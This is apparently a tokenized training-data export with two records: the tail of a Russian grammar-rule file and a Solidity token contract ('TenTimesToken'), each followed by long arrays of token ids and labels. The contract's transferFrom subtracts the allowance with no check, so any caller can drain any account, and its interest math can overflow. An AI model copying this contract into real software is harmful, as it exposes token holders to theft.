rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
|
отставать в общем зачете
|
rus_verbs:отставать{},
| 5,481,171 |
[
1,
4625,
348,
7953,
560,
30,
225,
225,
145,
127,
146,
229,
146,
228,
146,
229,
145,
113,
145,
115,
145,
113,
146,
229,
146,
239,
225,
145,
115,
225,
145,
127,
145,
114,
146,
236,
145,
118,
145,
125,
225,
145,
120,
145,
113,
146,
234,
145,
118,
146,
229,
145,
118,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
436,
407,
67,
502,
2038,
30,
145,
127,
146,
229,
146,
228,
146,
229,
145,
113,
145,
115,
145,
113,
146,
229,
146,
239,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.16;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
/**
* @title TenTimesToken
* @dev An ERC20 token which doubles the balance each 2 million blocks.
*/
contract TenTimesToken is Ownable {
uint256 public totalSupply;
mapping(address => uint256) startBalances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) startBlocks;
string public constant name = "Ten Times";
string public constant symbol = "TENT";
uint32 public constant decimals = 10;
function TenTimesToken() public {
totalSupply = 1000000 * 10**uint256(decimals);
startBalances[owner] = totalSupply;
startBlocks[owner] = block.number;
Transfer(address(0), owner, totalSupply);
}
/**
* @dev Computes `k * (1+1/q) ^ N`, with precision `p`. The higher
* the precision, the higher the gas cost. It should be
* something around the log of `n`. When `p == n`, the
* precision is absolute (sans possible integer overflows). <edit: NOT true, see comments>
* Much smaller values are sufficient to get a great approximation.
* from https://ethereum.stackexchange.com/questions/10425/is-there-any-efficient-way-to-compute-the-exponentiation-of-a-fraction-and-an-in
*/
function fracExp(uint256 k, uint256 q, uint256 n, uint256 p) pure public returns (uint256) {
uint256 s = 0;
uint256 N = 1;
uint256 B = 1;
for (uint256 i = 0; i < p; ++i) {
s += k * N / B / (q**i);
N = N * (n-i);
B = B * (i+1);
}
return s;
}
/**
* @dev Computes the compound interest for an account since the block stored in startBlock
* about factor 10 for 2 million blocks.
*/
function compoundInterest(address tokenOwner) view public returns (uint256) {
require(startBlocks[tokenOwner] > 0);
uint256 start = startBlocks[tokenOwner];
uint256 current = block.number;
uint256 blockCount = current - start;
uint256 balance = startBalances[tokenOwner];
return fracExp(balance, 867598, blockCount, 8) - balance;
}
/**
* @dev Get the token balance for account 'tokenOwner'
*/
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return startBalances[tokenOwner] + compoundInterest(tokenOwner);
}
/**
* @dev Add the compound interest to the startBalance, update the start block,
* and update totalSupply
*/
function updateBalance(address tokenOwner) private {
if (startBlocks[tokenOwner] == 0) {
startBlocks[tokenOwner] = block.number;
}
uint256 ci = compoundInterest(tokenOwner);
startBalances[tokenOwner] = startBalances[tokenOwner] + ci;
totalSupply = totalSupply + ci;
startBlocks[tokenOwner] = block.number;
}
/**
* @dev Transfer the balance from token owner's account to `to` account
* - Owner's account must have sufficient balance to transfer
* - 0 value transfers are allowed
*/
function transfer(address to, uint256 tokens) public returns (bool) {
updateBalance(msg.sender);
updateBalance(to);
require(tokens <= startBalances[msg.sender]);
startBalances[msg.sender] = startBalances[msg.sender] - tokens;
startBalances[to] = startBalances[to] + tokens;
Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Transfer `tokens` from the `from` account to the `to` account
*
* The calling account must already have sufficient tokens approve(...)-d
* for spending from the `from` account and
* - From account must have sufficient balance to transfer
* - Spender must have sufficient allowance to transfer
* - 0 value transfers are allowed
*/
function transferFrom(address from, address to, uint256 tokens) public returns (bool) {
updateBalance(from);
updateBalance(to);
require(tokens <= startBalances[from]);
startBalances[from] = startBalances[from] - tokens;
allowed[from][msg.sender] = allowed[from][msg.sender] - tokens;
startBalances[to] = startBalances[to] + tokens;
Transfer(from, to, tokens);
return true;
}
/**
* @dev Allow `spender` to withdraw from your account, multiple times, up to the 'tokens' amount.
* If this function is called again it overwrites the current allowance with 'tokens'.
*/
function approve(address spender, uint256 tokens) public returns (bool) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
}
|
* @dev Computes `k (1+1/q) ^ N`, with precision `p`. The higher the precision, the higher the gas cost. It should be something around the log of `n`. When `p == n`, the precision is absolute (sans possible integer overflows). <edit: NOT true, see comments> Much smaller values are sufficient to get a great approximation./
|
function fracExp(uint256 k, uint256 q, uint256 n, uint256 p) pure public returns (uint256) {
uint256 s = 0;
uint256 N = 1;
uint256 B = 1;
for (uint256 i = 0; i < p; ++i) {
s += k * N / B / (q**i);
N = N * (n-i);
B = B * (i+1);
}
return s;
}
| 942,688 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
14169,
281,
1375,
79,
225,
261,
21,
15,
21,
19,
85,
13,
3602,
423,
9191,
598,
6039,
1375,
84,
8338,
1021,
10478,
326,
6039,
16,
326,
10478,
326,
16189,
6991,
18,
2597,
1410,
506,
5943,
6740,
326,
613,
434,
1375,
82,
8338,
5203,
1375,
84,
422,
290,
9191,
326,
6039,
353,
4967,
261,
87,
634,
3323,
3571,
9391,
87,
2934,
411,
4619,
30,
4269,
638,
16,
2621,
5678,
34,
490,
2648,
10648,
924,
854,
18662,
358,
336,
279,
18825,
24769,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
12445,
2966,
12,
11890,
5034,
417,
16,
2254,
5034,
1043,
16,
2254,
5034,
290,
16,
2254,
5034,
293,
13,
16618,
1071,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
272,
273,
374,
31,
203,
3639,
2254,
5034,
423,
273,
404,
31,
203,
3639,
2254,
5034,
605,
273,
404,
31,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
293,
31,
965,
77,
13,
288,
203,
5411,
272,
1011,
417,
380,
423,
342,
605,
342,
261,
85,
636,
77,
1769,
203,
5411,
423,
273,
423,
380,
261,
82,
17,
77,
1769,
203,
5411,
605,
273,
605,
380,
261,
77,
15,
21,
1769,
203,
3639,
289,
203,
3639,
327,
272,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
